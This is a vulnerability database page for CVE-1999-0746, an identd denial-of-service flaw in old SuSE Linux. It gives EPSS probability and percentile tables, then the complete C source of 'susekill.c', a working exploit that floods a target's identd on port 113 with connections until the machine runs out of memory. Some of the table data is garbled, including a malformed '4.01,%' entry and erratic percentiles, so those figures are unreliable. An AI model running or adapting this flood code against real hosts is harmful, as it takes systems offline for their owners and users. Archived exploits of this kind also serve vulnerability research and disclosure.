CVE-1999-0746 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	3.72%	–
2023-07-16	–	–	–	3.72%	–
2024-02-11	–	–	–	0.85%	–
2024-06-02	–	–	–	0.85%	–
2024-08-25	–	–	–	0.85%	–
2024-09-22	–	–	–	0.85%	–
2024-10-13	–	–	–	0.85%	–
2024-12-22	–	–	–	0.85%	–
2025-01-19	–	–	–	0.85%	–
2025-03-18	–	–	–	–	4.01%
2025-03-30	–	–	–	–	4.01%
2025-04-15	–	–	–	–	4.01%
2025-04-15	–	–	–	–	4.01,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	9%
2023-07-16	91%
2024-02-11	82%
2024-06-02	82%
2024-08-25	83%
2024-09-22	82%
2024-10-13	83%
2024-12-22	82%
2025-01-19	82%
2025-03-18	88%
2025-03-30	87%
2025-04-15	88%
2025-04-15	88%

// source: https://www.securityfocus.com/bid/587/info In the inetd.conf under certain distributions of SuSE Linux the in.identd daemon is started with the -w -t120 option. This means that one identd process waits 120 seconds after answering the first request to answer the next request. If a malicious remote attacker starts a large number of ident requests in a short period of time it will force the target machine to start multiple daemons because the initial daemon is in a time wait state. This can eventually lead the machine to starve itself of memory resulting essentially in a machine halt. /* susekill.c by friedolin * * used to kill lame SuSE Linux boxes with identd running * identd must be started with -w -t120 to crash a machine * * have fun, friedolin <hendrik@scholz.net> * * based on gewse.c by napster */ /* Tested systems: * * vulnerable: * * SuSE-Linux 4.4 - 6.2 * Slackware 3.2 and 3.6 * * not vulnerable: * * RedHat 5.0 - 6.0 * Debian 2.0 - 2.1 * * not tested: * * pre 4.3 SuSE systems * pre 5.0 RedHat * pre 2.0 Debian * other Slackware releases * Caldera Open Linux, ... * * please send me your results and experiences ! * */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netinet/in.h> #include <netdb.h> #define GETIDENT "1027, 6667 : USERID : UNIX : killsuse" int sockdesc; int portkill; int numkill; int x; void usage(char *progname) { printf("susekill by friedolin (based on gewse.c)\n"); printf("usage: %s <host> <# of connections>\n",progname); exit(69); } main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; if (argc<3) usage(argv[0]); sin.sin_port = htons(113); sin.sin_family = AF_INET; he = gethostbyname(argv[1]); if (he) { sin.sin_family = AF_INET; sin.sin_port = htons(113); memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length); } else { perror("resolving"); } numkill = atoi(argv[2]); printf("Flooding %s [%s] identd %d times.\n", argv[1], inet_ntoa(sin.sin_addr.s_addr), numkill); printf("Killing"); fflush(stdout); for (x=1;x<=numkill;x++) { sockdesc = socket(AF_INET, SOCK_STREAM, 0); if (sockdesc < 0) { perror("socket"); exit(69); } if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("connect"); exit(69); } printf(" ."); fflush(stdout); (void) write(sockdesc, GETIDENT, strlen(GETIDENT)); } printf("\n"); }